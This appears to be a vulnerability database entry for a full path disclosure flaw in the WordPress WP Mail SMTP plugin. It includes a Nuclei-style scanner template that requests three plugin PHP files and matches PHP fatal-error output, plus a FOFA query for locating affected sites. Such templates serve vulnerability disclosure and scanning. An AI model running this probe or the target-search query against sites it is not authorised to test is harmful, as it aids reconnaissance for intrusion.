wp-wp-mail-smtp-fpd: WordPress WP Mail SMTP - Full Path Disclosure

2026-01-08 WordPress WP Mail SMTP PoC Public

Description

WordPress WP Mail SMTP plugin is vulnerable to full path disclosure via direct access to plugin files.

PoC

id: wp-wp-mail-smtp-fpd

info:
  name: WordPress WP Mail SMTP - Full Path Disclosure
  author: ritikchaddha
  severity: low
  description: |
    WordPress WP Mail SMTP plugin is vulnerable to full path disclosure via direct access to plugin files.
  reference:
    - https://wordpress.org/plugins/wp-mail-smtp/
  metadata:
    verified: true
    max-request: 3
    vendor: developer
    product: wp-mail-smtp
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-mail-smtp/"
  tags: wp,wordpress,wp-plugin,fpd,wp-mail-smtp,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-mail-smtp/src/WPMailSMTP.php"
      - "{{BaseURL}}/wp-content/plugins/wp-mail-smtp/vendor/autoload.php"
      - "{{BaseURL}}/wp-content/plugins/wp-mail-smtp/src/Core.php"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Fatal error"
          - "wp-mail-smtp"
          - "Uncaught Error:"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220666bc2e77064cc633132132ffb31063acc370379e2e4d79a93c0e183c3a56ee0022100d12c57429d468174d15607dadaee4bf9eab61151bdcd3d9c11b2bd687849295a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities